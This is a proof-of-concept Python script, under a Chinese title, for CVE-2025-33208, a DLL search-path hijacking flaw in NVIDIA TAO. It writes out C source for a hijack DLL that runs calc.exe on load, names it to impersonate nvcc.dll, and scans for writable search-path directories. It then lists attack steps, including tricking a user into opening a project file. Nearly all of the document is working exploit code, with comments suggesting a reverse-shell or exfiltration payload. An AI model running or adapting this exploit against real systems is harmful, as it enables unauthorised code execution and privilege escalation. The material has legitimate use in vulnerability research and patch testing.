CVE-2025-33208: NVIDIA TAO 不受控制搜索路径导致权限提升漏洞

# CVE-2025-33208 PoC - DLL Search Order Hijacking # This PoC demonstrates the concept of DLL search path hijacking # Target: NVIDIA TAO application loading resources via uncontrolled search path import os import sys import ctypes from ctypes import wintypes # Define the malicious DLL that will be loaded MALICIOUS_DLL_CODE = ''' // malicious_dll.c // Compile: gcc -shared -o malicious.dll malicious_dll.c #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Log successful DLL hijack MessageBox(NULL, "CVE-2025-33208 Exploited!\nNVIDIA TAO DLL Hijack Successful", "Security Alert", MB_OK | MB_ICONWARNING); // Execute payload - could be reverse shell, data exfiltration, etc. // Example: system("calc.exe"); system("calc.exe"); } return TRUE; } ''' def create_malicious_dll(dll_path): """Create a malicious DLL for demonstration""" with open('malicious_dll.c', 'w') as f: f.write(MALICIOUS_DLL_CODE) print(f"[+] Source code written to malicious_dll.c") print(f"[+] Compile with: gcc -shared -o {dll_path} malicious_dll.c") def check_search_path_vulnerability(target_app_path): """Check if target application uses vulnerable search paths""" print(f"[*] Analyzing search paths for: {target_app_path}") # Common vulnerable paths that could be exploited vulnerable_paths = [ os.path.join(os.getcwd(), "", "bin"), os.path.join(os.getcwd(), "", "lib"), os.path.join(os.getcwd(), "", "plugins"), os.environ.get('PATH', '').split(';'), ] print("[*] Checking for writable directories in search path...") for path_list in vulnerable_paths: if isinstance(path_list, list): for path in path_list: if os.path.exists(path) and os.access(path, os.W_OK): print(f"[!] VULNERABLE: Writable path found: {path}") print(f" Attack vector: Place malicious DLL in this directory") def main(): print("=" * 60) print("CVE-2025-33208 - NVIDIA TAO DLL Search Path Hijacking PoC") print("=" * 60) if len(sys.argv) > 1: target = sys.argv[1] else: target = "C:\\Program Files\\NVIDIA\\TAO\\tao_toolkit.exe" print(f"\n[*] Target Application: {target}") print(f"[*] Vulnerability: Uncontrolled Search Path Element (CWE-427)") print(f"[*] CVSS Score: 8.8 (High)") create_malicious_dll("nvcc.dll") # Common NVIDIA DLL name check_search_path_vulnerability(target) print("\n[*] Attack Steps:") print(" 1. Identify a writable directory in application's DLL search path") print(" 2. Create malicious DLL with desired payload") print(" 3. Name the DLL to match a DLL the application expects to load") print(" 4. Place the malicious DLL in the writable directory") print(" 5. Trick user into opening a project file or triggering resource load") print(" 6. Malicious DLL is loaded and code is executed") print("\n[!] Note: This PoC is for educational and authorized testing purposes only") if __name__ == "__main__": main()